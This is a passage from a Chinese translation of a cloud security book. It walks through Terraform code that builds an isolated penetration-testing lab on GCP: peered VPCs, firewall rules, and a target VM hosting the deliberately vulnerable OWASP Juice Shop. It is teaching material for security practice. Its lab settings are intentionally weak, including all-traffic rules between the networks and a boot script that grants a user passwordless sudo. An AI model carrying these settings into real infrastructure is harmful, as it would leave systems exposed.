terraform fmt命令来确保所有 Terraform 配置文件中的编码风格一致。该命令将扫描 Terraform 配置文件,并自动调整缩进、空格和换行,以符合官方的 Terraform 风格指南。
注意
虽然这一步是可选的,但强烈建议将terraform fmt命令作为开发工作流的一部分,以保持干净且一致的编码风格。
-
让我们运行
terraform plan以预览 Terraform 将执行的更改:terraform plan这将返回以下输出:
No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.该命令应无错误完成。否则,请确保在继续之前检查并修复任何问题。
-
接下来,让我们使用
terraform apply命令来实现这些更改:terraform apply -auto-approve这将产生以下输出:
Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. Apply complete! Resources: 0 added, 0 changed, 0 destroyed.鉴于我们尚未在配置代码中定义和配置任何云资源,这是我们期望的结果!也就是说,如果
terraform apply命令运行无误,我们可以继续进入下一部分。
在我们的项目结构和骨架准备好后,我们可以继续设置隔离的 VPC 网络环境。
准备隔离的网络
深入了解 GCP 中的计算和网络服务对于设计和实现安全的网络环境至关重要,尤其是在进行渗透测试实验室资源部署时。话虽如此,在我们深入研究安全网络设计之前,先快速浏览一下本章中我们将使用的一些资源、概念、功能和组件,如下所示:
-
VPC——VPC 是云计算环境中的一个虚拟网络,它使我们能够安全地分隔和管理资源。通过 VPC,我们可以设计和定制自己的网络架构,以满足特定需求,并启用 VPC 内部资源之间的安全通信。在 VPC 内部,我们可以拥有子网(subnets),它们允许进一步细分和隔离 VPC 网络中的资源。子网使我们能够根据不同的考虑和需求将资源分组。看一下以下图示:

图 4.13 - 简化的网络图
在图 4.13中,我们展示了一个包含两个 VPC 网络的简化网络图。每个 VPC 都有两个子网。在这些子网内,我们可以拥有各种资源,如虚拟机和其他云资源。如果这是你第一次接触这些概念,你可以把 VPC 网络想象成一个国家,而子网则是国家内的城市。就像一个国家制定自己的规则和边界一样,VPC 网络创建了一个受控的环境(在云账户内)来安全地管理资源。就像国家内的城市各具特点一样,VPC 网络中的子网作为隔离区域,将不同类型的资源分隔在更大的 VPC 网络内部。
重要提示
需要注意的是,我们没有在简化的网络图中包括项目或区域以及其他典型的网络组件,而是专注于与我们讨论相关的网络关键元素。
-
防火墙规则—防火墙规则是定义网络中允许或拒绝流量的安全规则。通过设置防火墙规则,我们可以定义允许(或阻止)的通信路径,并防止未授权的访问和潜在威胁到达网络内部的资源。就像交通警察维持城市街道的秩序一样,防火墙规则调控数据流,并帮助在我们云基础设施中的各种组件之间建立安全的通信。
-
VPC 对等连接—VPC 对等连接是一种网络功能,使得两个 VPC 网络之间能够像属于同一个网络一样进行安全和私密的通信。
现在,看看以下图示:

图 4.14 – 简化网络图
在图 4.14中,我们展示了一个简化的网络图,图中有两个通过 VPC 对等连接连接的 VPC 网络。通过 VPC 对等连接,第一 VPC 网络子网中部署的资源的流量可以到达第二 VPC 网络子网中部署的资源(反之亦然),只要防火墙规则已正确配置。
注意
使用 VPC 对等连接连接 VPC 网络时,需要注意,对等的 VPC 网络中使用的 IP 地址范围不能重叠,以避免路由冲突。例如,如果 VPC A 的 IP 地址范围是 10.0.0.0/16,而 VPC B 的 IP 地址范围是 192.168.0.0/16,那么我们应该能够成功建立 VPC 对等连接,因为这些范围不重叠。然而,如果 VPC A 和 VPC B 都有 10.0.0.0/16 的 IP 地址范围,那么会发生重叠,从而导致路由冲突,无法建立 VPC 对等连接。此外,GCP 中的 VPC 对等连接是单向的,因为每个对等连接必须在每个 VPC 网络中单独配置。这允许流量从一个 VPC 网络流向另一个网络,但除非建立了互惠的对等连接,否则不能反向流动。最后,VPC 对等连接是非传递的——这意味着对等连接不会扩展到其他超出直接对等的 VPC 网络。如果需要多个 VPC 网络之间的连接,则需要建立单独的对等连接。
-
虚拟机实例—虚拟机实例是指在云环境中运行的虚拟化计算机系统,允许用户在虚拟化环境中部署和运行应用程序及服务。虚拟机实例通常包括操作系统,以及分配的计算资源,如 CPU 和内存,以及存储容量。
-
私有 IP 地址—私有 IP 地址是分配给 VPC 中资源的 IP 地址,用于 VPC 内部资源之间的通信。需要注意的是,资源的私有 IP 地址会落在为该资源所在子网指定的可用地址范围内。
-
公网 IP 地址—公网 IP 地址是分配给 VPC 中资源的 IP 地址,允许这些资源从 VPC 网络外部访问。如果资源没有公网 IP 地址,则意味着该资源仅在 VPC 的私有网络内可访问,无法从公共互联网直接访问。
-
串行控制台—串行控制台是一项功能(或特性),提供直接访问虚拟机实例 CLI 的能力。即使虚拟机的网络连接不可靠或不可用,它也允许我们进行故障排除和配置虚拟机操作系统。
在 GCP 中,有多种方法可以建立一个安全的网络环境设置,限制外部主机流量到达内部部署的云资源。通过配置严格的防火墙规则、实施网络分段并利用相关的 VPC 特性和配置,我们可以防止未经授权的外部访问内部网络环境。
本章将重点讨论满足以下约束和要求的解决方案之一:
-
攻击者资源(例如 Kali Linux 虚拟机实例)应该在一个专用的 VPC 网络中进行部署和分组。同样,目标资源(例如设计脆弱的应用程序和资源)应在一个单独的 VPC 网络中进行部署和分组。
-
来自攻击者资源的流量应该能够顺利到达目标资源,即使这些资源部署在不同的 VPC 中。
-
应启用串行控制台访问,以允许直接访问攻击者和目标虚拟机资源。
-
由于我们将配置攻击者虚拟机实例,以便与您的机器建立 SSH 连接和 SSH 隧道,我们将限制攻击者虚拟机实例的端口
22,仅允许来自您的本地机器的访问。同样,考虑到我们将配置攻击者虚拟机实例以通过浏览器访问其桌面环境,我们将限制攻击者虚拟机实例的端口8081,仅允许来自您的本地机器的访问。
鉴于这些约束和要求,我们的网络环境应该是什么样的呢?下图为我们提供了一个概览:

图 4.15 – 我们渗透测试实验环境的高级架构图
在图 4.15中,我们有一个简化的网络图,其中两个 VPC 网络通过 VPC 对等连接。这里,部署在VPC 02中的攻击者虚拟机实例能够访问部署在VPC 01中的目标虚拟机实例(反之亦然)。在正确的项目配置下,我们应该能够使用串行控制台连接到攻击者和目标虚拟机实例。配置的防火墙规则应允许我们的本地机器通过端口22和端口8081访问攻击者虚拟机实例。
注释
值得一提的是,我们讨论的架构只是多种潜在解决方案中的一种。也就是说,还有多种替代方法可以满足要求和指定的约束。
除了阻止外部入站流量外,图 4.15中的 VPC 网络还可以配置为阻止向对等网络外部资源的出站流量。虽然这是可能的,但这会阻止 VPC 网络中的虚拟机实例和其他资源访问对等网络外部的资源。这意味着这些资源无法访问外部仓库以下载更新和包,这可能会影响设置过程。在本章中,我们将配置 VPC 网络以允许出站流量(即,对等 VPC 中的实例应该能够访问外部网络资源)。然而,在完成本章后,您可以自由探索阻止出站流量的替代方法,以便实现更受限的网络环境。
鉴于这些要点,我们将继续准备网络环境,如下所示:
-
在 Cloud Shell 终端(
$符号后面)中,运行以下命令(每次一行)以导航到~/pentest_lab/secure_network目录:cd ~/pentest_lab cd secure_network -
接下来,运行以下命令来创建我们在
secure_network模块中需要的文件:touch main.tf touch variables.tf touch outputs.tf
注意
请确保不要混淆文件名,因为我们在不同的目录中有几个相同的文件名!尽管我们在~/pentest_lab/secure_network目录中有main.tf、variables.tf和outputs.tf文件,但在~/pentest_lab目录中也有相同名称的文件。
-
使用编辑器,将以下代码块添加到
secure_network/variables.tf文件中:variable "my_ip" { type = string }在继续之前,请确保保存
secure_network/variables.tf文件。 -
接下来,在编辑器中打开
secure_network/main.tf文件。在接下来的步骤中,我们将添加一段代码来定义和配置多个网络资源。首先,添加以下代码块,允许我们以后通过串行连接从浏览器访问我们的虚拟机实例:resource "google_compute_project_metadata" "default" { metadata = { "serial-port-enable" = "TRUE" } }
注意
连接到运行中的虚拟机实例有多种方式。在本章中,我们将使用串行连接,因为它提供了一种方便的方式让我们从浏览器访问启动的虚拟机实例。欢迎查看以下链接获取更多信息:cloud.google.com/compute/docs/troubleshooting/troubleshooting-using-serial-console。
-
在同一个文件中(secure_network/main.tf),添加以下代码块来定义
google_compute_network和google_compute_subnetwork资源:resource "google_compute_network" "vpc_01" { name = "vpc-01" auto_create_subnetworks = "false" } resource "google_compute_subnetwork" "subnet_01" { name = "subnet-01" ip_cidr_range = "10.1.0.0/20" region = "us-central1" network = google_compute_network.vpc_01.name }在这里,我们定义了一个具有单个子网的 VPC 网络,使用
10.1.0.0/20的无类域间路由(CIDR)范围。由于auto_create_subnetworks被设置为false,因此不会创建其他子网(除我们刚才定义的子网外)。 -
在同一个文件中(secure_network/main.tf),定义
vpc_02和subnet_02资源:resource "google_compute_network" "vpc_02" { name = "vpc-02" auto_create_subnetworks = "false" } resource "google_compute_subnetwork" "subnet_02" { name = "subnet-02" ip_cidr_range = "10.2.0.0/20" region = "us-central1" network = google_compute_network.vpc_02.name }我们将在本章稍后在这些网络资源中启动攻击者虚拟机实例。
-
在同一个文件中(secure_network/main.tf),让我们定义两个
net_01和net_02本地值:locals {net_01 = google_compute_network.vpc_01.self_linknet_02 = google_compute_network.vpc_02.self_link }我们将在下一组步骤中定义其他网络资源时,使用这些本地值。
-
在同一个文件中(secure_network/main.tf),让我们使用以下代码块定义两个
google_compute_network_peering资源—一个从vpc-01到vpc-02,另一个从vpc-02到vpc-01:resource "google_compute_network_peering" "peer_01_to_02" { name = "peer-01-to-02" network = local.net_01 peer_network = local.net_02 } resource "google_compute_network_peering" "peer_02_to_01" { name = "peer-02-to-01" network = local.net_02 peer_network = local.net_01 }
重要提示
为了确保 VPC 网络对等互联正常工作,所涉及 VPC 的 CIDR 块不应重叠。在我们的案例中,设置应该没有问题,因为VPC 01(10.1.0.0/20**-**10.1.0.0**-10.1.15.255)和VPC 02(10.2.0.0/20**-**10.2.0.0**-10.2.15.255)的 CIDR 块没有重叠。可以使用在线子网计算器来验证这一点。
-
在同一个文件(secure_network/main.tf)中,使用以下代码块定义
allow-all-from-vpc2和allow-all-from-vpc-1防火墙:resource "google_compute_firewall" "allow-all-from-vpc2" { name = "allow-all-from-vpc-2" network = local.net_01 allow { protocol = "all" } source_ranges = ["10.2.0.0/20"] priority = 10000 } resource "google_compute_firewall" "allow-all-from-vpc1" { name = "allow-all-from-vpc-1" network = local.net_02 allow { protocol = "all" } source_ranges = ["10.1.0.0/20"] priority = 20000 }这些代码块将(1)允许从部署在
VPC 02中的资源访问部署在VPC 01中的资源(即,从10.2.0.0/20到10.1.0.0/20)以及(2)允许从部署在VPC 01中的资源访问部署在VPC 02中的资源(即,从10.1.0.0/20到10.2.0.0/20)。
注意
GCP 防火墙规则中的优先级数字决定了规则评估的顺序。数字越低,规则的优先级越高。GCP 根据优先级数字按升序评估防火墙规则,直到找到匹配的规则,此时评估停止。也就是说,重要的是分配唯一且恰当顺序的优先级数字,以确保防火墙规则正确应用,并按预期顺序执行。
-
在同一个文件(secure_network/main.tf)中,使用以下代码块定义
allow-ssh-from-my-ip和allow-desktop-access-from-my-ip防火墙:resource "google_compute_firewall" "allow-ssh-from-my-ip" { name = "allow-ssh-from-my-ip" network = local.net_02 allow { protocol = "tcp" ports = ["22"] } source_ranges = ["${var.my_ip}/32"] priority = 30000 } resource "google_compute_firewall" "allow-desktop-access-from-my-ip" { name = "allow-desktop-access-from-my-ip" network = local.net_02 allow { protocol = "tcp" ports = ["8081"] } source_ranges = ["${var.my_ip}/32"] priority = 40000 }这些防火墙规则将允许你的本地机器访问在
VPC 02内启动的资源(通过端口22和8081),一旦整个渗透实验环境搭建完成。
注意
在运行接下来的一组终端命令之前,确保保存secure_network/main.tf文件(文件菜单 > 保存)。
-
现在,让我们在编辑器中打开
secure_network/outputs.tf文件。添加以下代码块以定义subnet_01和subnet_02输出:output "subnet_01" { value = google_compute_subnetwork.subnet_01.id } output "subnet_02" { value = google_compute_subnetwork.subnet_02.id }在进行下一步之前,确保也保存
secure_network/outputs.tf文件。 -
导航到我们的
pentest_lab项目目录,如下所示:cd ~/pentest_lab -
让我们使用
terraform init命令重新初始化 Terraform 工作目录:terraform init -
让我们运行
terraform plan来预览 Terraform 将要执行的更改:terraform plan这应该会给我们带来一个缺少必需参数 — 必需的“my_ip”参数未定义的错误信息,因为我们在声明
secure_network模块时没有为my_ip参数提供任何值。
注意
如果你在想为什么这个问题会突然出现,重要的是回忆一下我们在之前的步骤中已经在secure_network/variables.tf文件中定义了my_ip变量。
-
为了解决在前一步中遇到的问题,我们需要在声明
secure_network模块时为my_ip参数提供一个值(类似于图 4.16中的内容):![]()
图 4.16 – 将 my_ip 变量值传递到 secure_network 模块的 my_ip 输入变量中
以图 4.16为参考,我们将通过将
my_ip变量值(根模块中的)传递给secure_network模块的my_ip输入变量来解决问题。由于我们在之前的步骤中已准备了terraform.tfvars文件,运行terraform apply命令时,my_public_ssh_key和my_ip的默认变量值将从terraform.tfvars文件中加载。现在我们对如何解决问题有了更清晰的思路,让我们在
main.tf文件中找到以下代码块(~/pentest_lab/main.tf):module "secure_network" { source = "./secure_network" }使用以下代码块更新它:
module "secure_network" { source = "./secure_network"my_ip = var.my_ip }在这里,我们将
my_ip变量值传递给secure_network模块的my_ip输入变量。
注意
在进行下一步之前,请确保保存main.tf文件(~/pentest_lab/main.tf)。
-
在 Cloud Shell 终端(
$符号之后),让我们运行以下命令预览 Terraform 将执行的更改:terraform plan这应该会输出以下结果:
... Plan: 11 to add, 0 to change, 0 to destroy. ...这一次,我们应该能够顺利进行,而不会遇到错误。
-
接下来,让我们使用
terraform apply命令来实现这些更改:terraform apply -auto-approve运行命令应返回以下输出:
... Apply complete! Resources: 11 added, 0 changed, 0 destroyed.
注意
等待几分钟,直到terraform apply命令完成。
-
现在,让我们使用控制台检查 Terraform 创建的资源。通过在搜索栏中键入
vpc networks并从搜索结果中选择VPC networks,进入现有 VPC 网络列表:![]()
图 4.17 – VPC 网络列表
在图 4.17中,我们可以看到
vpc-01和vpc-02VPC 网络已成功由 Terraform 创建。在这里,我们还可以看到vpc-01和vpc-02各自有一个子网(在子网(Subnets)列下的计数表示)。如果列表未显示我们刚创建的新 VPC,请随时点击刷新(REFRESH)按钮。 -
让我们检查将托管目标虚拟机实例的 VPC 网络。从 VPC 网络列表中点击
vpc-01,进入该 VPC 的网络详情页面:![]()
图 4.18 – VPC 网络详情
我们应该能看到
vpc-01中只有一个子网,类似于图 4.18中的情况。您还可以检查防火墙(FIREWALLS)和VPC 网络对等(VPC NETWORK PEERING)选项卡下的资源,以验证这些资源是否已正确创建和配置。
注意
您可以返回到 VPC 网络列表,检查vpc-02以及使用 Google Cloud 控制台创建的其他资源。
这不是很简单吗? 话不多说,让我们继续下一部分。
设置目标虚拟机实例
在我们的隔离网络环境准备好后,现在可以继续设置目标虚拟机实例。在本节中,我们将在VPC 01的子网中设置目标虚拟机实例,类似于图 4.19中的情况:

图 4.19 – 在 VPC 01 的子网中设置目标虚拟机实例
在目标虚拟机实例内,我们将运行一个故意设计为易受攻击的应用程序,名为OWASP Juice Shop。OWASP Juice Shop由开放 Web 应用程序安全项目(OWASP)设计、开发和准备,旨在帮助开发人员、安全工程师和渗透测试人员提升他们对安全编码实践和漏洞识别的理解,并提供各种缓解策略。为了简化在我们的虚拟机实例中安装和设置OWASP Juice Shop应用程序,我们将使用bkimminich/juice-shop容器镜像。该容器镜像将允许我们在容器中运行这一设计上就易受攻击的应用程序。
注意
如果你在想容器是什么,它们只是轻量级的、隔离的运行时环境,提供了一种一致且便捷的方式来在不同的计算环境中运行应用程序。另一方面,容器镜像(如bkimminich/juice-shop容器镜像)是包含创建和运行容器所需文件和配置的模板。它们包括应用程序代码,以及在容器化环境中执行应用程序所需的所有先决条件。
容器允许不同的易受攻击应用程序在虚拟机实例中共存而不互相干扰。也就是说,尽管我们计划在目标虚拟机实例内只运行一个容器,但值得一提的是,在同一个虚拟机实例的容器内运行多个故意设计为易受攻击的应用程序也是可能的。
本节分为以下几个子部分:
-
第一部分/2 – 使用 Terraform 准备目标虚拟机实例
-
第二部分/2 – 使用串行控制台访问目标 虚拟机实例
事不宜迟,开始吧!
第一部分/2 – 使用 Terraform 准备目标虚拟机实例
按照以下步骤操作:
-
通过在 Cloud Shell 终端运行以下命令,导航到
~/pentest_lab/target_vm目录:cd ~/pentest_lab cd target_vm -
运行以下命令创建我们在
target_vm模块中所需的文件:touch main.tf touch variables.tf touch outputs.tf -
打开一个新的浏览器标签,导航到本书的官方 GitHub 仓库:
github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/。 -
在
ch04/pentest_lab/target_vm目录下找到target_boot_script.tpl模板文件(github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/tree/main/ch04/pentest_lab/target_vm/target_boot_script.tpl):![]()
图 4.20 – 复制链接地址选项
右键点击
Raw按钮,在上下文菜单中选择 复制链接地址(如 图 4.20 中突出显示的那样)。这将把文件的链接地址复制到本地计算机的剪贴板。 -
使用
wget命令下载target_boot_script.tpl模板文件:wget -O target_boot_script.tpl <DOWNLOAD LINK>确保将
<DOWNLOAD LINK>替换为之前复制的链接(在选择上下文菜单中的 复制链接地址 后,它应该已经复制到剪贴板)。
注意
你也可以使用这个链接来替代 <DOWNLOAD** **LINK> 的值:
-
让我们快速检查一下我们下载的
target_boot_script.tpl文件的内容,使用cat命令:cat target_boot_script.tpl花几分钟阅读文件中的代码。你会看到,脚本分为三部分,具体如下:
-
设置用户—运行脚本会在系统上创建一个新用户,为该用户设置密码,并授予该用户
sudo权限(无需密码) -
安装 Docker—在这里,我们运行一些命令以在脚本运行的系统上安装 Docker
-
设置 OWASP Juice Shop—这一部分的脚本主要是运行 OWASP Juice Shop 应用程序,并将其托管在 Docker 容器中,使其可以通过脚本运行的主机的
80端口进行访问
-
-
现在,让我们打开一个新的浏览器标签页,在
ch04/pentest_lab/target_vm目录下找到wait_for_boot.tpl模板文件 (github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/tree/main/ch04/pentest_lab/target_vm/wait_for_boot.tpl):![]()
图 4.21 – 复制链接地址选项
右键点击
Raw按钮,在上下文菜单中选择 复制链接地址(如 图 4.21 中突出显示的那样)。这将把文件的链接地址复制到本地计算机的剪贴板。 -
使用
wget命令下载wait_for_boot.tpl模板文件:wget -O wait_for_boot.tpl <DOWNLOAD LINK>确保将
<DOWNLOAD LINK>替换为之前复制的链接(在选择上下文菜单中的 复制链接地址 后,它应该已经复制到剪贴板)。
注意
你也可以使用这个链接来替代 <DOWNLOAD** **LINK> 的值:
-
让我们使用
cat命令快速检查我们下载的wait_for_boot.tpl文件内容:cat wait_for_boot.tpl花上一两分钟阅读文件中的代码。你会看到脚本只是等待目标引导脚本(基于
target_boot_script.tpl模板脚本文件)完成运行。脚本会进行一定次数的重试,并检查目标引导脚本是否执行了以下代码行:echo "SCRIPT: COMPLETE"
重要说明
在继续之前,请确保target_boot_script.tpl和wait_for_boot.tpl模板文件位于pentest_lab/target_vm目录中。
-
现在,让我们在编辑器中打开
target_vm/variables.tf文件,并添加以下代码块:variable "subnet_01" { type = string }在这里,我们将定义一个变量,用于配置虚拟机实例将在哪个子网中启动。
备注
在继续之前,请确保保存target_vm/variables.tf文件。
-
现在,让我们在编辑器中打开
target_vm/main.tf文件。在接下来的步骤中,我们将添加几块代码。 -
在
target_vm/main.tf文件中,让我们定义一个名为random_password的资源,它会生成一个长度为12的随机字符串,并带有特殊字符:resource "random_string" "random_password" { length = 12 special = true override_special = "!#$%&" }在这里,我们提供了自己的特殊字符列表,用于生成随机密码值。如果你在想我们将在哪里使用这个生成的密码,我们将在接下来的步骤中通过串行控制台访问目标虚拟机实例时使用它。
-
在
target_vm/main.tf文件中,让我们定义一些本地变量,用于配置我们的虚拟机实例(在定义google_compute_instance资源之前):locals { vm_username = "testuser" vm_password = random_string.random_password.result } locals { script = templatefile("${path.module}/target_boot_script.tpl", { vm_username = local.vm_username vm_password = local.vm_password }) subnet_01 = var.subnet_01 }在这里,我们定义了
vm_username、vm_password、script和subnet_01本地变量。在定义script本地变量时,我们使用templatefile()函数来渲染target_boot_script.tpl模板文件的内容,并传递vm_username和vm_password的值作为变量。 -
在
target_vm/main.tf文件中,让我们使用以下代码块定义我们的第一个google_compute_instance资源:resource "google_compute_instance" "target_vm" { name = "vm-target" machine_type = "f1-micro" zone = "us-central1-c" boot_disk { initialize_params { image = "debian-cloud/debian-11" } } metadata_startup_script = local.script network_interface { subnetwork = local.subnet_01 access_config {} } } locals { max_retries = 20 retry_delay = 30 } -
在
target_vm/main.tf文件中,我们还需要定义wait_for_startup_script和null_resource资源:resource "null_resource" "wait_for_startup_script" { depends_on = [google_compute_instance.target_vm] provisioner "local-exec" { interpreter = ["bash", "-c"] command = templatefile("${path.module}/wait_for_boot.tpl", { max_retries = local.max_retries target_vm_name = google_compute_instance.target_vm.name target_vm_zone = google_compute_instance.target_vm.zone retry_delay = local.retry_delay }) } provisioner "local-exec" { when = destroy command = "true" } }如果你在想这段代码是做什么的,这个代码块只是运行一个脚本(该脚本编码在
wait_for_boot.tpl模板文件中)并在虚拟机实例中等待整个引导脚本(该脚本编码在target_boot_script.tpl模板文件中)完成。
重要说明
如果没有这个代码块,terraform apply命令将提前完成,即使目标虚拟机实例的引导过程还没有结束。这意味着在terraform apply命令完成时,OWASP Juice Shop 应用可能还不可用或无法访问!
-
在
target_vm/main.tf文件中,让我们也定义以下本地值:locals { target_vm = google_compute_instance.target_vm target_vm_ni = local.target_vm.network_interface.0 target_vm_private_ip = local.target_vm_ni.network_ip target_vm_ac = local.target_vm_ni.access_config.0 target_vm_public_ip = local.target_vm_ac.nat_ip }
备注
在继续进行下一组步骤之前,请确保保存target_vm/main.tf文件。
-
现在,在编辑器中打开
target_vm/outputs.tf文件。添加以下代码块以定义target_vm模块的输出:output "target_vm_username" { value = local.vm_username } output "target_vm_password" { value = local.vm_password } output "target_vm_private_ip" { value = local.target_vm_private_ip } output "target_vm_public_ip" { value = local.target_vm_public_ip }在继续下一步之前,确保保存
target_vm/outputs.tf文件。
注意
我们将在 ~/pentest_lab/outputs.tf 文件中使用这些输出值。
-
在 Cloud Shell 终端(
$符号后面)中,导航到pentest_lab项目目录:cd ~/pentest_lab -
让我们使用
terraform init命令重新初始化 Terraform 工作目录:terraform init -
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会给我们一个 Missing required argument — The argument “subnet_01” is required, but no definition was found 错误消息,因为我们在声明
target_vm模块时没有为subnet_01参数提供任何值。
注意
如果你在想为什么我们突然遇到这个问题,那么重要的是要回想一下,我们在早期步骤中已经在 target_vm/variables.tf 文件中定义了 subnet_01 变量。我们将在接下来的步骤中解决这个问题!
-
为了解决上一步骤中遇到的问题,我们需要确保在声明
target_vm模块时为subnet_01参数提供一个值(类似于 图 4.22 中所示):![]()
图 4.22 – 在声明
target_vm模块时为 subnet_01 参数提供一个值以 图 4.22 为参考,我们将通过将
secure_network模块的subnet_01输出值传递给target_vm模块的subnet_01输入变量来解决这个问题。现在我们对如何解决这个问题有了更清晰的思路,接下来让我们在main.tf文件 (~/pentest_lab/main.tf) 中找到以下代码块:module "target_vm" { source = "./target_vm" }使用以下代码块更新它:
module "target_vm" { source = "./target_vm"subnet_01 = module.secure_network.subnet_01 }在这里,我们将
secure_network模块的输出值 (module.secure_network.subnet_01) 传递给target_vm模块的subnet_01输入变量。
注意
确保保存对 main.tf 文件 (~/pentest_lab/main.tf) 所做的更改。
-
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会给我们以下输出:
... Plan: 3 to add, 0 to change, 0 to destroy.这一次,我们应该能够顺利进行,而不会遇到错误。
-
接下来,让我们使用
terraform apply命令来实施更改:terraform apply -auto-approve运行该命令应该会得到以下输出:
... Apply complete! Resources: 3 added, 0 changed, 0 destroyed.
注意
等待一到两分钟,直到 terraform apply 命令完成。
-
为了查看输出值,让我们在编辑器中打开
outputs.tf文件 (~/pentest_lab/outputs.tf) 并添加以下代码块:output "target_vm_username" { value = module.target_vm.target_vm_username } output "target_vm_password" { value = module.target_vm.target_vm_password } output "target_vm_private_ip" { value = module.target_vm.target_vm_private_ip } output "target_vm_public_ip" { value = module.target_vm.target_vm_public_ip }这将利用
target_vm模块的输出,在根模块的outputs.tf文件 (~/pentest_lab/outputs.tf) 中。 -
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会得到以下输出:
Changes to Outputs: + target_vm_password = "..." + target_vm_private_ip = "..." + target_vm_public_ip = "..." + target_vm_username = "testuser" -
接下来,让我们使用
terraform apply命令来实施更改:terraform apply -auto-approve这应该会给我们以下输出:
Apply complete! Resources: 0 added, 0 changed, 0 destroyed. Outputs: target_vm_password = "..." target_vm_private_ip = "..." target_vm_public_ip = "..." target_vm_username = "testuser"在这里,我们可以看到运行
terraform apply -auto-approve命令后的输出值,因为我们在之前的步骤中已经在根模块中定义了输出(即存储在~/pentest_lab中的代码)。 -
将
target_vm_username、target_vm_password和target_vm_private_ip的输出值保存在文本编辑器中,因为我们将在本章的后续步骤中使用这些值。
第二部分 2/2 – 使用串行控制台访问目标虚拟机实例
按照以下步骤进行:
-
通过在搜索框中输入计算引擎并从搜索结果中选择
Compute Engine,导航到VM 实例页面(类似于图 4.23所示):![]()
图 4.23 – 导航到 VM 实例页面
在VM 实例页面,我们将看到我们 GCP 账户中的虚拟机实例列表。
-
点击名称列下的链接(vm-target),即可导航到我们的目标虚拟机实例(vm-target)的实例详情页面。
-
是时候访问串行控制台了!如果你在想这是什么,串行控制台是一个故障排除工具,允许用户在 GCP 中方便地直接访问虚拟机实例的串行端口。它使用户能够与虚拟机的控制台输出进行交互,访问启动过程,并诊断问题,即使 SSH 或其他基于网络的连接不可用(或配置错误)。考虑到这一点,让我们点击连接到串行控制台按钮。这将打开一个类似于图 4.24中的弹出窗口:
![]()
图 4.24 – 串行控制台弹出窗口
一旦你在弹出窗口中看到空白页面,点击空白页面,然后按Enter键。使用
target_vm_username(testuser)和target_vm_password(生成的密码)登录。
注意
可以随时在 Cloud Shell 终端运行terraform show命令,以检索target_vm_username和target_vm_password的输出值。在运行terraform show命令之前,确保你位于~/pentest_lab目录内。
-
使用以下命令检查目标虚拟机实例中是否正在运行 OWASP Juice Shop 容器:
sudo docker ps如果提示输入密码,简单使用
target_vm_password输出值即可继续执行命令。sudo docker ps命令应返回一个正在运行的容器,使用bkimminich/juice-shop容器镜像:![]()
图 4.25 – 确认 OWASP Juice Shop 容器已经在运行
访问虚拟机实例的
80端口将允许你与运行bkimminich/juice-shop镜像的容器进行交互。 -
运行以下命令向本地服务器发送示例请求,检查是否在
80端口上运行了网站:curl localhost:80这应该会产生以下输出:
![]()
图 4.26 – 使用 curl 命令后的结果
看来我们已经确认了在虚拟机实例的80 端口(映射到运行中的容器内的 Web 应用程序)上运行了一个网站。
-
现在我们对目标虚拟机实例内部运行的内容有了更好的了解,我们可以关闭串行控制台(
SSH**浏览器内**)弹出窗口。
在这一阶段,你可能已经迫不及待地想要探索和访问 OWASP Juice Shop 应用程序了!考虑到我们故意配置了网络环境,只允许VPC 02中的资源访问VPC 01(目标虚拟机实例所在的网络),因此在访问这个具有设计缺陷的应用程序并进行渗透测试模拟之前,我们必须先在VPC 02中设置攻击者虚拟机实例。
导入 Kali Linux 通用云镜像
Kali Linux是一款专门为高级渗透测试和道德黑客活动设计的操作系统。凭借其广泛的安全工具,Kali Linux 使网络安全专业人员和爱好者能够执行渗透测试、数字取证调查和漏洞评估。如果你之前没有使用过 Kali Linux,可以把它想象成一个升级版的操作系统,其中预装了强大的安全工具,使其成为网络安全专业人员的专用武器库。就像将一辆普通车改造成配备高级武器的重型装甲坦克!
重要提示
Kali Linux 是一款专门为高级渗透测试和道德黑客活动设计的操作系统,如果使用不当,可能会造成损害或参与恶意活动。尽管在自己的渗透测试实验室环境中使用 Kali Linux 通常是安全的,但在进行安全评估和渗透测试时,务必确保你已获得适当的授权。这确保你在法律和道德的边界内操作,避免任何未经授权的活动,这些活动可能导致法律后果或损害系统的完整性。记住,在测试你所使用的系统或网络之前,要获得系统或网络所有者的明确许可,并遵守适用的法律、法规和指南。
考虑到 Kali Linux 在Google Cloud Marketplace中没有作为预配置镜像提供,我们需要按照一套特定的步骤来导入通用云镜像,才能启动 Kali Linux 虚拟机。通用什么?? Kali Linux 通用云镜像只是一个为各种云平台(包括 GCP)部署而预配置和优化的镜像。你可以把这个镜像看作是一个 DNA 模板,可以用来在不同的云平台上准备 Kali Linux 实例的克隆。它作为一个基础性蓝图,包含了渗透测试和安全评估所需的所有基本配置和软件。
现在我们对 Kali Linux 以及通用云镜像的用途有了更好的理解,让我们继续将该镜像导入到我们的 Google GCP 项目中,步骤如下:
-
打开一个新的浏览器标签页,访问
www.kali.org/get-kali/#kali-cloud。定位并右键点击通用云镜像下载框,打开上下文菜单:![]()
图 4.27 – 复制通用云镜像的链接地址
从上下文菜单中选择复制链接地址,类似于图 4.27中显示的内容。这将复制以下下载链接到我们本地计算机的剪贴板:
https://kali.download/cloud-images/kali-2023.1/kali-linux-2023.1-cloud-genericcloud-amd64.tar.xz请注意,随着新版本的镜像发布,此下载链接可能会发生变化。
注意
将此下载链接存储并保存到文本编辑器中,因为我们将在本章接下来的步骤中使用它。如果你无法复制链接地址,你可以在这里找到通用云镜像文件:kali.download/cloud-images/kali-2023.1/
-
返回到我们的 Google Cloud 控制台浏览器标签页。在 Cloud Shell 终端(
$符号后)运行以下命令,以创建一个名为kali-image的目录(并进入该目录):cd ~ mkdir kali-image && cd kali-image -
使用
wget在 Cloud Shell 终端中运行以下命令,下载最新版本的通用云镜像:IMAGE_SOURCE=`https://kali.download/cloud-images/kali-2023.1/kali-linux-2023.1-cloud-genericcloud-amd64.tar.xz` wget -O kl_image.tar.xz $IMAGE_SOURCE这将把
kl_image.tar.xz文件下载到我们的kali-image目录中。
注意
随意更新IMAGE_SOURCE变量的值,使用你在之前步骤中复制到文本编辑器的下载链接。
-
通过运行以下命令行(每次一行)创建一个兼容的
